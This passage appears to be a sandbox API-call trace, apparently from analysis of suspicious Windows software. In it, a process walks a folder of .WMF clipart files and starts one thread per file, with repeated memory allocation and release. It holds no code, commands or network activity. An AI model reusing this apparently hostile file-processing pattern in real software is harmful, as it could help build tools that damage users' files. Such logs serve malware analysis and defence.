	[0235.458] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1
	[0235.458] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b3c
	[0235.461] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.461] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1
	[0235.462] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b6c
	[0235.464] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.465] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1
	[0235.465] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b80
	[0235.478] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.478] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1
	[0235.478] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b84
	[0235.481] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.482] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1
	[0235.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8c
	[0235.484] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.485] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1
	[0235.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b88
	[0235.487] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.488] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1
	[0235.488] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b90
	[0235.491] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.492] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1
	[0235.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b94
	[0235.775] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.776] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1
	[0235.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba0
	[0235.779] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.780] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1
	[0235.780] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba4
	[0235.782] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.783] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1
	[0235.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba8
	[0235.786] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.787] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1
	[0235.787] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bac
	[0235.790] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.791] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1
	[0235.791] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb0
	[0235.794] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.795] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1
	[0235.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb4
	[0235.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.799] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1
	[0235.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb8
	[0235.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.802] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1
	[0235.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bbc
	[0235.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.806] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1
	[0235.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc0
	[0235.981] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.981] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1
	[0235.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc4
	[0235.984] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.984] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1
	[0235.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc8
	[0235.986] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.987] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1
	[0235.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bcc
	[0235.990] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.990] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1
	[0235.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bd0
	[0235.994] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.994] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1
	[0235.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bd4
	[0236.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.001] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1
	[0236.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bd8
	[0236.004] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.005] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1
	[0236.005] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bdc
	[0236.007] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.007] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1
	[0236.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be0
	[0236.010] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.011] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1
	[0236.011] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be4
	[0236.013] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.014] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1
	[0236.014] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be8
	[0236.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
